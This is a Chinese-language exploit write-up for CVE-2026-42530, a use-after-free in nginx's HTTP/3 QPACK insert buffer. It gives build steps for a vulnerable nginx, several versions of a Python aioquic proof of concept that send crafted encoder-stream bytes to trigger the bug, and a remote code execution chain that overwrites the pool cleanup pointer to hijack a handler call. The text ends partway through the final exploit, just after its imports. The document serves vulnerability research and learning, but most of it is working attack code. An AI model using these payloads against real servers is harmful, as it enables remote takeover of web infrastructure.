前言

前几天分析了两个Windows的洞,“耐不住寂寞”的作者这回选择了新的目标 -> nginx,也是新的挑战。选择nginx主要是因为其作为网络边界主流的服务器软件,算是第一突防目标吧。跟着一些师傅写的exploit和文章,学了一手nginx之前的洞 -> CVE-2026-42945(该洞的原理比较简单,其实就是url编码一个字节当三个字节用导致的溢出[也是没想到这种几年前玩的ctf新生赛的套路题居然是现实洞]),又偶然看到一条消息说本文的目标在外网有师傅发布了利用的视频,所以选择了它作为目标。


一、漏洞简介

漏洞编号: CVE-2026-42530

影响版本: 1.31.0 < nginx < 1.31.2

漏洞产品: nginx - http_v3_module & ngx_http_v3_get_insert_buffer & uaf

利用效果: 远程代码执行


​

二、环境搭建

nginx的复现环境比较简单,编译耗时也特别短就不提供附件浪费时间了。

首先从github拉取nginx的源码,git checkout release-1.31.1切到漏洞版本,执行以下命令生成Makefile然后make编译即可(测试poc则额外开启asan)

(myenv) ➜  nginx git:(release-1.31.1) ✗ ./auto/configure \                                          
--with-debug \
--with-http_ssl_module \
--with-http_v2_module \
--with-http_v3_module \

最后写个配置文件启用quic(记得生成证书密钥),./objs/nginx -c poc.conf启动nginx即可

daemon off;
master_process off;
worker_processes  1;
error_log stderr debug;
events {
    worker_connections 1024;
}

http {
    server {
        listen 443 quic reuseport;
        listen 443 ssl;
	http2 on;

        server_name test.local;
        ssl_certificate test.crt;
        ssl_certificate_key test.key;
        ssl_protocols TLSv1.3;

        add_header Alt-Svc 'h3=":443"; ma=86400' always;
        root html;
	index index.html;
    }
}

关闭aslr后执行exploit即可实现rce(还需一步关键操作,后续会提到)

​

三、漏洞原理

漏洞的本质是内存生命周期的不一致,ngx_http_v3_get_insert_buffer函数为了性能从内存池中分配缓冲区,并直接进行复用,但原有代码使用的内存池所属chunk会随着编码器流处理异常被释放,而后续编码器流仍复用悬挂指针导致uaf

ngx_buf_t *
ngx_http_v3_get_insert_buffer(ngx_connection_t *c)
{
    ngx_http_v3_session_t        *h3c;
    ngx_http_v3_dynamic_table_t  *dt;

    h3c = ngx_http_v3_get_session(c);
    dt = &h3c->table;

    if (dt->insert_buffer == NULL) {
        dt->insert_buffer = ngx_create_temp_buf(c->pool, dt->capacity);
        if (dt->insert_buffer == NULL) {
            return NULL;
        }
    }

    dt->insert_buffer->last = dt->insert_buffer->pos;

    return dt->insert_buffer;
}

但为什么nginx要这么设计呢?这其实符合nginx高性能的思想,因为这只是一个临时缓冲区,如果每次写入都要分配释放就过于麻烦了,所以nginx索性直接复用这块内存然后将指针复位

​

四、POC构造

在投喂调用链源码给ai之后,让其生成两次insert操作的交互程序

ngx_http_v3_uni_read_handler -> ngx_http_v3_parse_uni -> ngx_http_v3_parse_encoder -> ngx_http_v3_parse_field_iln -> ngx_http_v3_get_insert_buffer

最终经过多次拷打得到了有效代码

import asyncio
import ssl
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import (
    HandshakeCompleted,
    ConnectionTerminated,
    StreamDataReceived,
    StreamReset,
)

STREAM_TYPE_CONTROL = 0x00
STREAM_TYPE_QPACK_ENCODER = 0x02
STREAM_TYPE_QPACK_DECODER = 0x03

class LowLevelH3ClientProtocol(asyncio.DatagramProtocol):
    def __init__(self, quic_config: QuicConfiguration, host: str, port: int):
        self.transport = None
        self.quic = QuicConnection(configuration=quic_config)
        self.host = host
        self.port = port
        self.connected_event = asyncio.Event()

    def connection_made(self, transport):
        self.transport = transport
        self.quic.connect((self.host, self.port), now=asyncio.get_event_loop().time())
        self.process_quic_outbound()

    def datagram_received(self, data, addr):
        self.quic.receive_datagram(data, addr, now=asyncio.get_event_loop().time())
        self.process_quic_events()
        self.process_quic_outbound()

    def process_quic_events(self):
        event = self.quic.next_event()
        while event is not None:
            if isinstance(event, HandshakeCompleted):
                self.connected_event.set()
                self.setup_h3_uni_streams()
                
            elif isinstance(event, StreamDataReceived):
                pass
                
            elif isinstance(event, StreamReset):
                pass
                
            elif isinstance(event, ConnectionTerminated):
                pass
                
            event = self.quic.next_event()

    def setup_h3_uni_streams(self):
        enc1 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc1, bytes([STREAM_TYPE_QPACK_ENCODER]))
        ins1 = b"\x40\x03foo\x03bar"
        self.quic.send_stream_data(enc1, ins1)

        enc2 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc2, bytes([STREAM_TYPE_QPACK_ENCODER]))
        ins2 = b"\x40\x04test\x05hello"
        self.quic.send_stream_data(enc2, ins2)

        control_stream_id = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(control_stream_id, bytes([STREAM_TYPE_CONTROL]))

    def process_quic_outbound(self):
        for datagram, addr in self.quic.datagrams_to_send(now=asyncio.get_event_loop().time()):
            self.transport.sendto(datagram, addr)

async def main():
    configuration = QuicConfiguration(
        is_client=True,
        alpn_protocols=["h3"],
    )
    configuration.verify_mode = ssl.CERT_NONE

    loop = asyncio.get_running_loop()
    
    host = "127.0.0.1"
    port = 443 

    transport, protocol = await loop.create_datagram_endpoint(
        lambda: LowLevelH3ClientProtocol(configuration, host, port),
        remote_addr=(host, port)
    )

    try:
        await asyncio.wait_for(protocol.connected_event.wait(), timeout=5.0)
        await asyncio.sleep(5)
    except asyncio.TimeoutError:
        pass
    finally:
        transport.close()

if __name__ == "__main__":
    asyncio.run(main())

此时已经能触发asan检测了,但目标不止于此(后续实验关掉asan重新编译,不然asan附加一堆代码单步执行费时间,并且asan还没有到uaf写的地方就触发了)

4.1 解析长度为0?

在执行poc后,动调走到这段代码的长度校验,check失败,这也是踩的第一个坑

static ngx_int_t
ngx_http_v3_parse_field_iln(ngx_connection_t *c,
    ngx_http_v3_parse_field_t *st, ngx_buf_t *b)
{
    ......
    for ( ;; ) {

        switch (st->state) {

        case sw_start:

            ngx_log_debug0(NGX_LOG_DEBUG_HTTP, c->log, 0,
                           "http3 parse field iln");

            if (b->pos == b->last) {
                return NGX_AGAIN;
            }

            ch = *b->pos;

            st->literal.buf = ngx_http_v3_get_insert_buffer(c);
            if (st->literal.buf == NULL) {
                return NGX_ERROR;
            }

            st->literal.huffman = (ch & 0x20) ? 1 : 0;
            st->state = sw_name_len;

            /* fall through */

        case sw_name_len:

            rc = ngx_http_v3_parse_prefix_int(c, &st->pint, 5, b);
            if (rc != NGX_DONE) {
                return rc;
            }

            st->literal.length = st->pint.value;
            if (st->literal.length == 0) {
                return NGX_ERROR;
            }

            st->state = sw_name;
            break;
        ......
    }
    ......
}

将处理的代码投喂给ai之后,对payload进行了修正

static ngx_int_t
ngx_http_v3_parse_prefix_int(ngx_connection_t *c,
    ngx_http_v3_parse_prefix_int_t *st, ngx_uint_t prefix, ngx_buf_t *b)
{
    u_char      ch;
    ngx_uint_t  mask;
    enum {
        sw_start = 0,
        sw_value
    };

    for ( ;; ) {

        if (b->pos == b->last) {
            return NGX_AGAIN;
        }

        ch = *b->pos++;

        switch (st->state) {

        case sw_start:

            mask = (1 << prefix) - 1;
            st->value = ch & mask;

            if (st->value != mask) {
                goto done;
            }

            st->shift = 0;
            st->state = sw_value;
            break;

        case sw_value:

            st->value += (uint64_t) (ch & 0x7f) << st->shift;

            if (st->shift == 56
                && ((ch & 0x80) || (st->value & 0xc000000000000000)))
            {
                ngx_log_error(NGX_LOG_INFO, c->log, 0,
                              "client exceeded integer size limit");
                return NGX_HTTP_V3_ERR_EXCESSIVE_LOAD;
            }

            if (ch & 0x80) {
                st->shift += 7;
                break;
            }

            goto done;
        }
    }

done:

    ngx_log_debug1(NGX_LOG_DEBUG_HTTP, c->log, 0,
                   "http3 parse prefix int %uL", st->value);

    st->state = sw_start;
    return NGX_DONE;
}

import asyncio
import ssl
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import (
    HandshakeCompleted,
    ConnectionTerminated,
    StreamDataReceived,
    StreamReset,
)

STREAM_TYPE_CONTROL = 0x00
STREAM_TYPE_QPACK_ENCODER = 0x02
STREAM_TYPE_QPACK_DECODER = 0x03

class LowLevelH3ClientProtocol(asyncio.DatagramProtocol):
    def __init__(self, quic_config: QuicConfiguration, host: str, port: int):
        self.transport = None
        self.quic = QuicConnection(configuration=quic_config)
        self.host = host
        self.port = port
        self.connected_event = asyncio.Event()

    def connection_made(self, transport):
        self.transport = transport
        self.quic.connect((self.host, self.port), now=asyncio.get_event_loop().time())
        self.process_quic_outbound()

    def datagram_received(self, data, addr):
        self.quic.receive_datagram(data, addr, now=asyncio.get_event_loop().time())
        self.process_quic_events()
        self.process_quic_outbound()

    def process_quic_events(self):
        event = self.quic.next_event()
        while event is not None:
            if isinstance(event, HandshakeCompleted):
                self.connected_event.set()
                self.setup_h3_uni_streams()
                
            elif isinstance(event, StreamDataReceived):
                pass
                
            elif isinstance(event, StreamReset):
                pass
                
            elif isinstance(event, ConnectionTerminated):
                pass
                
            event = self.quic.next_event()

    def setup_h3_uni_streams(self):
        enc1 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc1, bytes([STREAM_TYPE_QPACK_ENCODER]))
        ins1 = b"\x43foo\x03bar"
        self.quic.send_stream_data(enc1, ins1)

        enc2 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc2, bytes([STREAM_TYPE_QPACK_ENCODER]))
        ins2 = b"\x44test\x05hello"
        self.quic.send_stream_data(enc2, ins2)

        control_stream_id = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(control_stream_id, bytes([STREAM_TYPE_CONTROL]))

    def process_quic_outbound(self):
        for datagram, addr in self.quic.datagrams_to_send(now=asyncio.get_event_loop().time()):
            self.transport.sendto(datagram, addr)

async def main():
    configuration = QuicConfiguration(
        is_client=True,
        alpn_protocols=["h3"],
    )
    configuration.verify_mode = ssl.CERT_NONE

    loop = asyncio.get_running_loop()
    
    host = "127.0.0.1"
    port = 443 

    transport, protocol = await loop.create_datagram_endpoint(
        lambda: LowLevelH3ClientProtocol(configuration, host, port),
        remote_addr=(host, port)
    )

    try:
        await asyncio.wait_for(protocol.connected_event.wait(), timeout=5.0)
        await asyncio.sleep(5)
    except asyncio.TimeoutError:
        pass
    finally:
        transport.close()

if __name__ == "__main__":
    asyncio.run(main())

4.2 写入数据失败?

用改完的poc调试,当调用ngx_http_v3_parse_literal时又出问题了,这是碰到的第二个坑。该函数的主要功能是往缓冲区写入数据,不难想到如果要实现uaf写,这里是不能出问题的

步入该函数调试发现,关键点其实在于没有通过这个check,也就是st->buf->end和st->buf->last这两个指针一致导致相减的结果是0

最终发现关键在这两段代码,也就是说end指针和last指针差的是这个dt->capacity

ngx_buf_t *
ngx_http_v3_get_insert_buffer(ngx_connection_t *c)
{
    ngx_http_v3_session_t        *h3c;
    ngx_http_v3_dynamic_table_t  *dt;

    h3c = ngx_http_v3_get_session(c);
    dt = &h3c->table;

    if (dt->insert_buffer == NULL) {
        dt->insert_buffer = ngx_create_temp_buf(c->pool, dt->capacity);
        if (dt->insert_buffer == NULL) {
            return NULL;
        }
    }

    dt->insert_buffer->last = dt->insert_buffer->pos;

    return dt->insert_buffer;
}
ngx_buf_t *
ngx_create_temp_buf(ngx_pool_t *pool, size_t size)
{
    ngx_buf_t *b;

    b = ngx_calloc_buf(pool);
    if (b == NULL) {
        return NULL;
    }

    b->start = ngx_palloc(pool, size);
    if (b->start == NULL) {
        return NULL;
    }

    /*
     * set by ngx_calloc_buf():
     *
     *     b->file_pos = 0;
     *     b->file_last = 0;
     *     b->file = NULL;
     *     b->shadow = NULL;
     *     b->tag = 0;
     *     and flags
     */

    b->pos = b->start;
    b->last = b->start;
    b->end = b->last + size;
    b->temporary = 1;

    return b;
}

vscode查找dt->capacity的相关代码,最终找到了设置该参数的相关代码

ngx_int_t
ngx_http_v3_set_capacity(ngx_connection_t *c, ngx_uint_t capacity)
{
    ngx_uint_t                     max, prev_max;
    ngx_http_v3_field_t          **elts;
    ngx_http_v3_session_t         *h3c;
    ngx_http_v3_srv_conf_t        *h3scf;
    ngx_http_v3_dynamic_table_t   *dt;

    ngx_log_debug1(NGX_LOG_DEBUG_HTTP, c->log, 0,
                   "http3 set capacity %ui", capacity);

    h3c = ngx_http_v3_get_session(c);
    h3scf = ngx_http_v3_get_module_srv_conf(c, ngx_http_v3_module);

    if (capacity > h3scf->max_table_capacity) {
        ngx_log_error(NGX_LOG_INFO, c->log, 0,
                      "client exceeded http3_max_table_capacity limit");
        return NGX_HTTP_V3_ERR_ENCODER_STREAM_ERROR;
    }

    if (ngx_http_v3_evict(c, capacity) != NGX_OK) {
        return NGX_HTTP_V3_ERR_ENCODER_STREAM_ERROR;
    }

    dt = &h3c->table;
    max = capacity / 32;
    prev_max = dt->capacity / 32;

    if (max > prev_max) {
        elts = ngx_alloc((max + 1) * sizeof(void *), c->log);
        if (elts == NULL) {
            return NGX_ERROR;
        }

        if (dt->elts) {
            ngx_memcpy(elts, dt->elts, dt->nelts * sizeof(void *));
            ngx_free(dt->elts);
        }

        dt->elts = elts;
    }

    dt->capacity = capacity;

    return NGX_OK;
}

此外作者还注意到,ngx_http_v3_parse_field_iln函数会在最后调用ngx_http_v3_insert将写入临时缓冲区的数据进行永久性存储,写入到动态表中?而该函数同样有一个check,当设置的dt->capacity不够大时会写入失败(这里的size是在写入数据的基础上+0x20,也就是说dt->capacity设置的不够大这里会返回错误)

ngx_int_t
ngx_http_v3_insert(ngx_connection_t *c, ngx_str_t *name, ngx_str_t *value)
{
    u_char                       *p;
    size_t                        size;
    ngx_http_v3_field_t          *field;
    ngx_http_v3_session_t        *h3c;
    ngx_http_v3_dynamic_table_t  *dt;

    size = ngx_http_v3_table_entry_size(name, value);

    h3c = ngx_http_v3_get_session(c);
    dt = &h3c->table;

    if (size > dt->capacity) {
        ngx_log_error(NGX_LOG_ERR, c->log, 0,
                      "not enough dynamic table capacity");
        return NGX_HTTP_V3_ERR_ENCODER_STREAM_ERROR;
    }

    ngx_log_debug4(NGX_LOG_DEBUG_HTTP, c->log, 0,
                   "http3 insert [%ui] \"%V\":\"%V\", size:%uz",
                   dt->base + dt->nelts, name, value, size);

    p = ngx_alloc(sizeof(ngx_http_v3_field_t) + name->len + value->len,
                  c->log);
    if (p == NULL) {
        return NGX_ERROR;
    }

    field = (ngx_http_v3_field_t *) p;

    field->name.data = p + sizeof(ngx_http_v3_field_t);
    field->name.len = name->len;
    field->value.data = ngx_cpymem(field->name.data, name->data, name->len);
    field->value.len = value->len;
    ngx_memcpy(field->value.data, value->data, value->len);

    dt->elts[dt->nelts++] = field;
    dt->size += size;

    dt->insert_count++;

    if (ngx_http_v3_evict(c, dt->capacity) != NGX_OK) {
        return NGX_ERROR;
    }

    ngx_post_event(&dt->send_insert_count, &ngx_posted_events);

    if (ngx_http_v3_new_entry(c) != NGX_OK) {
        return NGX_ERROR;
    }

    return NGX_OK;
}

这有什么用呢?在调用链的最外层ngx_http_v3_uni_read_handler函数中,当写入失败时末尾会调用ngx_http_v3_close_uni_stream函数,其最后调用的ngx_destroy_pool就是释放内存的元凶

也就是说,dt->capacity的设置是一个关键,过小或者不设置就无法实现uaf写,过大没有导致错误则不会触发释放

这里的第二次调用ngx_http_v3_get_insert_buffer的情况,可以看到payload是成功写入chunk了,此时chunk已然释放后续再写就是uaf写了

所以该漏洞最终能实现的就是向一块0x4000大小的chunk偏移0x260进行uaf写


完整poc:

import asyncio
import ssl
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import (
    HandshakeCompleted,
    ConnectionTerminated,
    StreamDataReceived,
    StreamReset,
)

STREAM_TYPE_CONTROL = 0x00
STREAM_TYPE_QPACK_ENCODER = 0x02
STREAM_TYPE_QPACK_DECODER = 0x03

INSTRUCTION_SET_CAPACITY_16 = b"\x30"

class LowLevelH3ClientProtocol(asyncio.DatagramProtocol):
    def __init__(self, quic_config: QuicConfiguration, host: str, port: int):
        self.transport = None
        self.quic = QuicConnection(configuration=quic_config)
        self.host = host
        self.port = port
        self.connected_event = asyncio.Event()

    def connection_made(self, transport):
        self.transport = transport
        self.quic.connect((self.host, self.port), now=asyncio.get_event_loop().time())
        self.process_quic_outbound()

    def datagram_received(self, data, addr):
        self.quic.receive_datagram(data, addr, now=asyncio.get_event_loop().time())
        self.process_quic_events()
        self.process_quic_outbound()

    def process_quic_events(self):
        event = self.quic.next_event()
        while event is not None:
            if isinstance(event, HandshakeCompleted):
                self.connected_event.set()
                self.setup_h3_uni_streams()
            elif isinstance(event, StreamDataReceived):
                pass
            elif isinstance(event, StreamReset):
                pass
            elif isinstance(event, ConnectionTerminated):
                pass
            event = self.quic.next_event()

    def setup_h3_uni_streams(self):
        enc1 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc1, bytes([STREAM_TYPE_QPACK_ENCODER]))
        self.quic.send_stream_data(enc1, INSTRUCTION_SET_CAPACITY_16)
        ins1 = b"\x43foo\x03bar"
        self.quic.send_stream_data(enc1, ins1)

        enc2 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc2, bytes([STREAM_TYPE_QPACK_ENCODER]))
        ins2 = b"\x44test\x05hello"
        self.quic.send_stream_data(enc2, ins2)

        control_stream_id = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(control_stream_id, bytes([STREAM_TYPE_CONTROL]))

    def process_quic_outbound(self):
        for datagram, addr in self.quic.datagrams_to_send(now=asyncio.get_event_loop().time()):
            self.transport.sendto(datagram, addr)

async def main():
    configuration = QuicConfiguration(
        is_client=True,
        alpn_protocols=["h3"],
    )
    configuration.verify_mode = ssl.CERT_NONE

    loop = asyncio.get_running_loop()
    
    host = "127.0.0.1"
    port = 443 

    transport, protocol = await loop.create_datagram_endpoint(
        lambda: LowLevelH3ClientProtocol(configuration, host, port),
        remote_addr=(host, port)
    )

    try:
        await asyncio.wait_for(protocol.connected_event.wait(), timeout=5.0)
    except asyncio.TimeoutError:
        pass
    finally:
        transport.close()

if __name__ == "__main__":
    asyncio.run(main())


五、利用原理

在前文中,作者一开始想着分配一个结构体复用内存然后进行写入,但苦于对nginx利用不太熟悉,于是搜索了一下过往利用手法,偶然间发现了漏洞作者写的文章,其中简要地提到这么一种利用姿势

也就是说内存复用覆盖ngx_buf_s结构体即可将uaf写转成一个任意内存写(实际上只需要覆盖pos指针,因为ngx_http_v3_get_insert_buffer复用指针会把last指针恢复成pos指针)

那么写入哪里呢?又是怎么进行利用呢?作者想到了这么一条利用链,nginx会调用ngx_destroy_pool销毁内存池,其会调用c->handler(c->data)

void
ngx_destroy_pool(ngx_pool_t *pool)
{
    ngx_pool_t          *p, *n;
    ngx_pool_large_t    *l;
    ngx_pool_cleanup_t  *c;

    for (c = pool->cleanup; c; c = c->next) {
        if (c->handler) {
            ngx_log_debug1(NGX_LOG_DEBUG_ALLOC, pool->log, 0,
                           "run cleanup: %p", c);
            c->handler(c->data);
        }
    }
    ......
}

经过作者分析发现0x4000那个chunk的内存结构大致如下:

ngx_pool_s + ngx_log_s + ngx_pool_cleanup_s + 填充 + ngx_log_s->data + 填充 + ngx_buf_s + 数据区

而ngx_pool_cleanup_s是附属于ngx_pool_s结构体,以指针方式存在

struct ngx_pool_s {
    ngx_pool_data_t       d;
    size_t                max;
    ngx_pool_t           *current;
    ngx_chain_t          *chain;
    ngx_pool_large_t     *large;
    ngx_pool_cleanup_t   *cleanup;
    ngx_log_t            *log;
};

那么不难想到,利用任意写篡改cleanup指针,指向我们控制的内存,然后再伪造ngx_pool_cleanup_s结构体的handler指针和data指针即可实现rce

struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt   handler;
    void                 *data;
    ngx_pool_cleanup_t   *next;
};

做一个简单的测试验证可行性,将前文中的poc改一下,第二个编码器流改成普通的双向流,注入数据

import asyncio
import ssl
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import (
    HandshakeCompleted,
    ConnectionTerminated,
    StreamDataReceived,
    StreamReset,
)

STREAM_TYPE_CONTROL = 0x00
STREAM_TYPE_QPACK_ENCODER = 0x02
STREAM_TYPE_QPACK_DECODER = 0x03

INSTRUCTION_SET_CAPACITY_16 = b"\x30"

class LowLevelH3ClientProtocol(asyncio.DatagramProtocol):
    def __init__(self, quic_config: QuicConfiguration, host: str, port: int):
        self.transport = None
        self.quic = QuicConnection(configuration=quic_config)
        self.host = host
        self.port = port
        self.connected_event = asyncio.Event()

    def connection_made(self, transport):
        self.transport = transport
        self.quic.connect((self.host, self.port), now=asyncio.get_event_loop().time())
        self.process_quic_outbound()

    def datagram_received(self, data, addr):
        self.quic.receive_datagram(data, addr, now=asyncio.get_event_loop().time())
        self.process_quic_events()
        self.process_quic_outbound()

    def process_quic_events(self):
        event = self.quic.next_event()
        while event is not None:
            if isinstance(event, HandshakeCompleted):
                self.connected_event.set()
                self.setup_h3_uni_streams()
            elif isinstance(event, StreamDataReceived):
                pass
            elif isinstance(event, StreamReset):
                pass
            elif isinstance(event, ConnectionTerminated):
                pass
            event = self.quic.next_event()

    def setup_h3_uni_streams(self):
        enc1 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc1, bytes([STREAM_TYPE_QPACK_ENCODER]))
        self.quic.send_stream_data(enc1, INSTRUCTION_SET_CAPACITY_16)
        ins1 = b"\x43foo\x03bar"
        self.quic.send_stream_data(enc1, ins1)

        enc2 = self.quic.get_next_available_stream_id(is_unidirectional=False)
        ins2 = b"test1234"
        self.quic.send_stream_data(enc2, ins2)

    def process_quic_outbound(self):
        for datagram, addr in self.quic.datagrams_to_send(now=asyncio.get_event_loop().time()):
            self.transport.sendto(datagram, addr)

async def main():
    configuration = QuicConfiguration(
        is_client=True,
        alpn_protocols=["h3"],
    )
    configuration.verify_mode = ssl.CERT_NONE

    loop = asyncio.get_running_loop()
    
    host = "127.0.0.1"
    port = 443 

    transport, protocol = await loop.create_datagram_endpoint(
        lambda: LowLevelH3ClientProtocol(configuration, host, port),
        remote_addr=(host, port)
    )

    try:
        await asyncio.wait_for(protocol.connected_event.wait(), timeout=5.0)
    except asyncio.TimeoutError:
        pass
    finally:
        transport.close()

if __name__ == "__main__":
    asyncio.run(main())

nginx会调用ngx_http_v3_wait_request_handler处理双向流数据,调用c->recv(c, b->last, size)进行接收

static void
ngx_http_v3_wait_request_handler(ngx_event_t *rev)
{
    ......
    b = c->buffer;

    if (b == NULL) {
        b = ngx_create_temp_buf(c->pool, size);
        if (b == NULL) {
            ngx_http_close_connection(c);
            return;
        }

        c->buffer = b;

    } else if (b->start == NULL) {

        b->start = ngx_palloc(c->pool, size);
        if (b->start == NULL) {
            ngx_http_close_connection(c);
            return;
        }

        b->pos = b->start;
        b->last = b->start;
        b->end = b->last + size;
    }

    n = c->recv(c, b->last, size);
    ......
}

在接收处下断点可见双向流写入数据的位置距离内存池仅偏移0x1a0,而编码器流篡改目标结构体ngx_buf_s距离内存池偏移0x210,也就是说发生内存复用时,攻击者可控的数据完全能覆盖ngx_buf_s

综上所述,完整的rce调用链则是:

  1. 通过双向流复用内存篡改ngx_buf_s结构体的pos指针指向另一个流存放cleanup指针所在内存
  2. 通过uaf写转成的任意写,篡改cleanup指针指向双向流的数据区(可控内存)
  3. 伪造ngx_pool_cleanup_s结构体,handler指针和data指针指向双向流的数据区(可控内存)
  4. 触发编码器流操作异常,使得nginx最终调用c->handler(c->data)实现rce

​

六、利用过程

利用思路明确,接下来需要考虑的是如何实现内存复用,这也是作者最耗时间的一个点,拷打ai无用最后只能手撕nginx源码,最终发现了这个漏洞的利用难点。

6.1 分配 or 操作

作者通过调试发现nginx的操作很奇怪,nginx并不是想象中分配 -> 操作 -> 分配 -> 操作,而是分配 -> 分配 -> 操作 -> 操作

最后经过分析发现是这段代码在发力,ngx_quic_handle_stream_frame是分配内存的入口函数

static ngx_int_t
ngx_quic_handle_frames(ngx_connection_t *c, ngx_quic_header_t *pkt)
{
    u_char                 *end, *p;
    ssize_t                 len;
    ngx_buf_t               buf;
    ngx_uint_t              do_close, nonprobing;
    ngx_chain_t             chain;
    ngx_quic_frame_t        frame;
    ngx_quic_connection_t  *qc;

    qc = ngx_quic_get_connection(c);

    p = pkt->payload.data;
    end = p + pkt->payload.len;

    do_close = 0;
    nonprobing = 0;

    while (p < end) {
        ......
        switch (frame.type) {
        ......
        case NGX_QUIC_FT_STREAM:

            if (ngx_quic_handle_stream_frame(c, pkt, &frame) != NGX_OK) {
                return NGX_ERROR;
            }

            break;
        ......
        }
    }
    ......
}

也就是说一次性分配完内存,没分配完继续分配,就像这样

那么也就是说,想要让它分开分配,就得把数据包拆开,在enc1和enc2中间补一个self.process_quic_outbound()直接发送

6.2 quic流异常关闭?

尽管这样,调整之后经过测试发现还是没用,nginx只调用一次分配,这就奇怪了,why?

最终发现是这段代码的问题,也就是我们触发c->pool释放是通过使得ngx_http_v3_parse_uni返回错误实现的,而failed路径下除了调用ngx_http_v3_close_uni_stream关闭流,还会调用ngx_http_v3_finalize_connection断开连接,只是因为断开连接的操作是延迟的,会等待放入队列的事件执行完(nginx是分配内存然后把事件放入队列中,等分配完再从等待队列取出执行),这也是为什么之前将两个编码器流放入同一个包没问题,拆开会有问题

static void
ngx_http_v3_uni_read_handler(ngx_event_t *rev)
{
    ......
    ngx_memzero(&b, sizeof(ngx_buf_t));

    while (rev->ready) {
        ......
        rc = ngx_http_v3_parse_uni(c, &us->parse, &b);

        if (rc == NGX_DONE) {
            ngx_log_debug0(NGX_LOG_DEBUG_HTTP, c->log, 0,
                           "http3 read done");
            ngx_http_v3_close_uni_stream(c);
            return;
        }

        if (rc > 0) {
            goto failed;
        }

        if (rc != NGX_AGAIN) {
            rc = NGX_HTTP_V3_ERR_GENERAL_PROTOCOL_ERROR;
            goto failed;
        }
    }
    ......
failed:

    ngx_http_v3_finalize_connection(c, rc, "stream error");
    ngx_http_v3_close_uni_stream(c);
}

6.3 不允许同时存在的关键流

然后作者将CAPACITY拉大使得ngx_http_v3_parse_uni返回正常,测试发现又碰到一个问题,是进行两次分配了,但只有一次insert操作

最终分析到这段代码,也就是说,nginx不允许同时存在两个同类型的关键流

ngx_int_t
ngx_http_v3_register_uni_stream(ngx_connection_t *c, uint64_t type)
{
    ngx_int_t                  index;
    ngx_http_v3_session_t     *h3c;
    ngx_http_v3_uni_stream_t  *us;

    h3c = ngx_http_v3_get_session(c);

    switch (type) {

    case NGX_HTTP_V3_STREAM_ENCODER:

        ngx_log_debug0(NGX_LOG_DEBUG_HTTP, c->log, 0,
                       "http3 encoder stream");
        index = NGX_HTTP_V3_STREAM_CLIENT_ENCODER;
        break;

    case NGX_HTTP_V3_STREAM_DECODER:

        ngx_log_debug0(NGX_LOG_DEBUG_HTTP, c->log, 0,
                       "http3 decoder stream");
        index = NGX_HTTP_V3_STREAM_CLIENT_DECODER;
        break;

    case NGX_HTTP_V3_STREAM_CONTROL:

        ngx_log_debug0(NGX_LOG_DEBUG_HTTP, c->log, 0,
                       "http3 control stream");
        index = NGX_HTTP_V3_STREAM_CLIENT_CONTROL;

        break;
    ......
    if (index >= 0) {
        if (h3c->known_streams[index]) {
            ngx_log_error(NGX_LOG_INFO, c->log, 0, "stream exists");
            return NGX_HTTP_V3_ERR_STREAM_CREATION_ERROR;
        }

        h3c->known_streams[index] = c;

        us = c->data;
        us->index = index;
    }

    return NGX_OK;
}

而前文使用的poc之所以没问题是因为关闭了一个编码器流,一些flags复位了

static void
ngx_http_v3_close_uni_stream(ngx_connection_t *c)
{
    ngx_pool_t                *pool;
    ngx_http_v3_session_t     *h3c;
    ngx_http_v3_uni_stream_t  *us;

    ngx_log_debug0(NGX_LOG_DEBUG_HTTP, c->log, 0, "http3 close stream");

    us = c->data;

    if (us && us->index >= 0) {
        h3c = ngx_http_v3_get_session(c);
        h3c->known_streams[us->index] = NULL;
    }

    c->destroyed = 1;

    pool = c->pool;

    ngx_close_connection(c);

    ngx_destroy_pool(pool);
}

那么也就是说,想要实现利用,必须在不断开quic连接的情况下调用ngx_http_v3_close_uni_stream

6.4 无法控制的条件?

但是很戏剧的一幕出现了,似乎并不存在这种情况,而且还是写入rfc标准的,quic关键流关闭就必须断开连接?

这里的关键就是让这个ngx_http_v3_parse_uni返回NGX_DONE,但是在代码路径中,ngx_http_v3_parse_uni根本不会返回NGX_DONE,只会是NGX_AGAIN或者是一些错误(如果是NGX_DONE会继续解析,直到解析不出东西返回NGX_AGAIN)

联想到nvd漏洞描述中提到的"无法控制的条件",作者推断说的就是这个点

那只能通过gdb来完成这个条件了,在第一次触发断点时手动设置rc的值

剩下的不用管,成功rce了(注:关闭了aslr,堆地址是写死的,前面实验会对堆布局造成影响,关掉nginx重开直接跑最终的exploit即可)

总的来说,该漏洞的内存复用难以实现,想要在没有外部干预的情况下实现需要达成两个条件其中一点:

  1. 能在同一个包内使得nginx分配后直接操作而不是分配完再操作
  2. 能在不断开quic连接的情况下关闭编码器流

提供几个断点参考方便师傅们调试

<ngx_quic_handle_frames+600>: call   0x5555555cccff <ngx_quic_handle_stream_frame>
<ngx_http_v3_uni_read_handler+257>:	cmp    rax,0xfffffffffffffffc
<ngx_http_v3_wait_request_handler+123>:	call   QWORD PTR [rbx+0x20]

有哪些分析不到位的地方也欢迎师傅们指教

​

完整exploit:

from pwn import *
import asyncio
import ssl
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import (
    HandshakeCompleted,
    ConnectionTerminated,
    StreamDataReceived,
    StreamReset,
)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
